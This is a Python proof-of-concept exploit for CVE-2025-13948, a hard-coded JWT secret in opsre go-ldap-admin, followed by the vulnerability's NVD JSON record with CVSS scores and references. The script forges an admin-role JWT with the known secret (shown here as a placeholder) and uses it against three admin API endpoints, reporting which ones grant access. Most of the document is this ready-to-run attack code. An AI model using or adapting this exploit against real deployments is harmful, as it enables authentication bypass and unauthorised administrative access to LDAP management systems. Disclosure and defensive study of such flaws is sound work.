CVE-2025-13948

#!/usr/bin/env python3 """ CVE-2025-13948 PoC - opsre go-ldap-admin Hard-coded JWT Secret Key This PoC demonstrates how to forge JWT tokens using the hard-coded secret key. """ import jwt import datetime import requests # Hard-coded secret key from docker-compose.yaml (example key) JWT_SECRET = "your-hardcoded-secret-key-here" # Target configuration TARGET_URL = "http://target:8080" USERNAME = "admin" def forge_jwt_token(username: str, secret: str) -> str: """ Generate a forged JWT token with the hard-coded secret. Args: username: Target username to impersonate secret: Hard-coded JWT secret key Returns: Forged JWT token string """ payload = { "sub": username, "iat": datetime.datetime.utcnow(), "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=24), "username": username, "role": "admin" } token = jwt.encode(payload, secret, algorithm="HS256") return token def exploit(target_url: str, forged_token: str): """ Use the forged token to access protected endpoints. Args: target_url: Base URL of the vulnerable application forged_token: JWT token forged with hard-coded key """ headers = { "Authorization": f"Bearer {forged_token}" } # Try to access admin endpoints endpoints = [ "/api/v1/users", "/api/v1/admin/config", "/api/v1/ldap/sync" ] for endpoint in endpoints: try: response = requests.get(f"{target_url}{endpoint}", headers=headers) print(f"[+] {endpoint} - Status: {response.status_code}") if response.status_code == 200: print(f" [!] Successfully accessed {endpoint}") except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") def main(): print("[*] CVE-2025-13948 PoC - opsre go-ldap-admin JWT Secret Disclosure") print("[*] Exploiting hard-coded JWT secret key vulnerability\n") # Step 1: Obtain the hard-coded secret (e.g., from leaked config) print("[1] Obtaining hard-coded JWT secret from configuration...") print(f" Secret: {JWT_SECRET}") # Step 2: Forge JWT token for admin user print("\n[2] Forging JWT token for admin user...") forged_token = forge_jwt_token(USERNAME, JWT_SECRET) print(f" Generated Token: {forged_token[:50]}...") # Step 3: Use forged token to access protected resources print("\n[3] Using forged token to access protected endpoints...") exploit(TARGET_URL, forged_token) print("\n[*] Exploitation complete") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-13948", "sourceIdentifier": "[email protected]", "published": "2025-12-03T15:15:51.240", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in opsre go-ldap-admin up to 20251011. This issue affects some unknown processing of the file docs/docker-compose/docker-compose.yaml of the component JWT Handler. Executing manipulation of the argument secret key can lead to use of hard-coded cryptographic key\r . The attack can be launched remotely. Attacks of this nature are highly complex. The exploitability is assessed as difficult. The exploit has been publicly disclosed and may be utilized."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "baseScore": 5.1, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 4.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-320"}, {"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://gist.github.com/H2u8s/a51ac1fe38d62746d1425b70ff49420c", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.334163", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.334163", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.692213", "source": "[email protected]"}]}}